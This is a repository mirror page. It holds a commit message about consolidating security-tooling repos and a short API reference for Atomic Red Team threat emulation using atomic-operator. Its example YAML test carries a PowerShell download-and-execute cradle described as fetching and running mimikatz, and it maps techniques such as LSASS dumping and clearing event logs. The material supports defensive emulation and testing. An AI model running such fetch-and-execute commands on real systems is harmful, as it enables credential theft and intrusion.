mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
synced 2026-08-01 08:30:20 +00:00
24f816b6a3
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
1.7 KiB
1.7 KiB
API Reference: Performing Threat Emulation with Atomic Red Team
atomic-operator (Python)
from atomic_operator import AtomicOperator
operator = AtomicOperator()
# Run specific technique
operator.run(
technique="T1059.001",
atomics_path="./atomic-red-team/atomics",
test_numbers=[1],
)
# Run with custom inputs
operator.run(technique="T1059.001", input_arguments={"command": "whoami"})
Atomic Test YAML Format
attack_technique: T1059.001
display_name: "PowerShell"
atomic_tests:
- name: "Mimikatz"
description: "Downloads and runs mimikatz"
supported_platforms: [windows]
executor:
name: powershell
command: |
IEX (New-Object Net.WebClient).DownloadString('#{url}')
cleanup_command: |
Remove-Item #{output_file}
input_arguments:
url:
description: "URL to download"
type: url
default: "https://example.com/test"
Key CLI Commands
# Clone atomics
git clone https://github.com/redcanaryco/atomic-red-team
# Install operator
pip install atomic-operator
# List tests for technique
ls atomic-red-team/atomics/T1059.001/
Coverage Mapping
| Tactic | Example Techniques |
|---|---|
| Execution | T1059.001 (PowerShell), T1059.003 (cmd) |
| Persistence | T1053.005 (Scheduled Task), T1547.001 (Run Keys) |
| Defense Evasion | T1070.001 (Clear Event Logs) |
| Credential Access | T1003.001 (LSASS), T1558.003 (Kerberoasting) |
References
- Atomic Red Team: https://github.com/redcanaryco/atomic-red-team
- atomic-operator: https://github.com/redcanaryco/atomic-operator
- ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/